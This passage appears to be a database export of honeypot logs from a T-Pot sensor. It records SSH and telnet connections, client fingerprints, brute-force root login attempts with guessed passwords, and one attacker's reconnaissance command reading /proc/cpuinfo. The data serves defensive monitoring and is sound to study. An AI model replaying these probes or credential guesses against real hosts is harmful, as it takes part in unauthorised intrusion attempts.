"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20030	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:31.409514+03	2021-09-20 14:15:01.861613+03	{"_id": "MQXgAnwBvYTbRNuEFPgP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.17.12", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5567476749420166, "duplicate": true, "timestamp": "2021-09-20T11:03:31.409514Z", "@timestamp": "2021-09-20T11:03:31.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20031	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:32.100632+03	2021-09-20 14:15:01.862613+03	{"_id": "NgXgAnwBvYTbRNuEGPg_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 28 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 28.493954181671143, "timestamp": "2021-09-20T11:03:32.100632Z", "@timestamp": "2021-09-20T11:03:32.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20032	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:33.895934+03	2021-09-20 14:15:01.863613+03	{"_id": "QwXgAnwBvYTbRNuEHPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.login.failed", "message": "login attempt [root/hunt5759] failed", "session": "a958228e586c", "@version": "1", "password": "hunt5759", "username": "root", "timestamp": "2021-09-20T11:03:33.895934Z", "@timestamp": "2021-09-20T11:03:33.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20033	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:03:33.96236+03	2021-09-20 14:15:01.864614+03	{"_id": "RAXgAnwBvYTbRNuEHPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "376c94178797", "@version": "1", "timestamp": "2021-09-20T11:03:33.962360Z", "@timestamp": "2021-09-20T11:03:33.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20034	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:33.15173+03	2021-09-20 14:15:01.865612+03	{"_id": "RQXgAnwBvYTbRNuEHPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 177.64.206.208:58833 (192.168.176.2:23) [session: a958228e586c]", "session": "a958228e586c", "@version": "1", "protocol": "telnet", "src_port": 58833, "dest_port": 23, "timestamp": "2021-09-20T11:03:33.151730Z", "@timestamp": "2021-09-20T11:03:33.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	\N	\N
20035	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:03:33.669869+03	2021-09-20 14:15:01.867613+03	{"_id": "RgXgAnwBvYTbRNuEHPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:64447 (192.168.176.2:22) [session: 376c94178797]", "session": "376c94178797", "@version": "1", "protocol": "ssh", "src_port": 64447, "dest_port": 22, "timestamp": "2021-09-20T11:03:33.669869Z", "@timestamp": "2021-09-20T11:03:33.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20037	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:03:33.961782+03	2021-09-20 14:15:01.869613+03	{"_id": "SgXgAnwBvYTbRNuEHvjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 990468490251230, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64447, "dest_port": 22, "timestamp": "2021-09-20T11:03:33.961782Z", "@timestamp": "2021-09-20T11:03:33.961Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20038	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:03:35.517046+03	2021-09-20 14:15:01.871614+03	{"_id": "VQXgAnwBvYTbRNuEI_j3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qasw2] failed", "session": "376c94178797", "@version": "1", "password": "1qasw2", "username": "root", "timestamp": "2021-09-20T11:03:35.517046Z", "@timestamp": "2021-09-20T11:03:35.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20039	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:03:38.951371+03	2021-09-20 14:15:01.872613+03	{"_id": "fAXgAnwBvYTbRNuEMvh-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22162, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 14134377350219, "@version": "1", "in_iface": "enp5s0", "src_port": 43735, "dest_port": 53, "timestamp": "2021-09-20T11:03:38.951371Z", "@timestamp": "2021-09-20T11:03:38.951Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20040	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:16.099596+03	2021-09-20 14:15:01.873613+03	{"_id": "rQXfAnwBvYTbRNuE2fdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.17.12", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5584290027618408, "duplicate": true, "timestamp": "2021-09-20T11:03:16.099596Z", "@timestamp": "2021-09-20T11:03:16.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20041	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:17.975326+03	2021-09-20 14:15:01.875612+03	{"_id": "rwXfAnwBvYTbRNuE3fdT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.17.12", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5576391220092773, "duplicate": true, "timestamp": "2021-09-20T11:03:17.975326Z", "@timestamp": "2021-09-20T11:03:17.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20042	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:17.417804+03	2021-09-20 14:15:01.876613+03	{"_id": "uAXfAnwBvYTbRNuE3fef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:17.417804Z", "@timestamp": "2021-09-20T11:03:17.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20043	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:17.418341+03	2021-09-20 14:15:01.877613+03	{"_id": "uQXfAnwBvYTbRNuE3fef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:17.418341Z", "@timestamp": "2021-09-20T11:03:17.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20044	178.128.20.19	109.199.241.180	Suricata	2021-09-20 14:03:18.089962+03	2021-09-20 14:15:01.878613+03	{"_id": "ugXfAnwBvYTbRNuE4Pdp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.20.19", "dest_ip": "192.168.20.116", "flow_id": 215055093553563, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40744, "dest_port": 22, "timestamp": "2021-09-20T11:03:18.089962Z", "@timestamp": "2021-09-20T11:03:18.089Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20045	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:17.920837+03	2021-09-20 14:15:01.879613+03	{"_id": "vgXfAnwBvYTbRNuE4fc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "178.128.20.19", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40744, "timestamp": "2021-09-20T11:03:17.920837", "@timestamp": "2021-09-20T11:03:17.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20046	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:18.949366+03	2021-09-20 14:15:01.881612+03	{"_id": "wgXfAnwBvYTbRNuE4fc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.17.12", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5587975978851318, "duplicate": true, "timestamp": "2021-09-20T11:03:18.949366Z", "@timestamp": "2021-09-20T11:03:18.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20047	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:03:18.000175+03	2021-09-20 14:15:01.882612+03	{"_id": "xQXfAnwBvYTbRNuE5PdT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:17.576520+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 429915123600392, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 11230, "timestamp": "2021-09-20T11:03:18.000175Z", "@timestamp": "2021-09-20T11:03:18.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20048	8.29.105.26	109.199.241.180	Suricata	2021-09-20 14:03:19.729585+03	2021-09-20 14:15:01.883613+03	{"_id": "xAXfAnwBvYTbRNuE5PdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.68.99.1134321"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.29.105.26", "dest_ip": "192.168.20.116", "flow_id": 342366514296299, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52360, "dest_port": 22, "timestamp": "2021-09-20T11:03:19.729585Z", "@timestamp": "2021-09-20T11:03:19.729Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20049	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:19.484733+03	2021-09-20 14:15:01.884613+03	{"_id": "xwXfAnwBvYTbRNuE5fdw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.29.105.26:52360 (192.168.176.2:22) [session: 71929d32c834]", "session": "71929d32c834", "@version": "1", "protocol": "ssh", "src_port": 52360, "dest_port": 22, "timestamp": "2021-09-20T11:03:19.484733Z", "@timestamp": "2021-09-20T11:03:19.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20050	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:19.730301+03	2021-09-20 14:15:01.885613+03	{"_id": "ygXfAnwBvYTbRNuE5fdw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "71929d32c834", "@version": "1", "timestamp": "2021-09-20T11:03:19.730301Z", "@timestamp": "2021-09-20T11:03:19.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 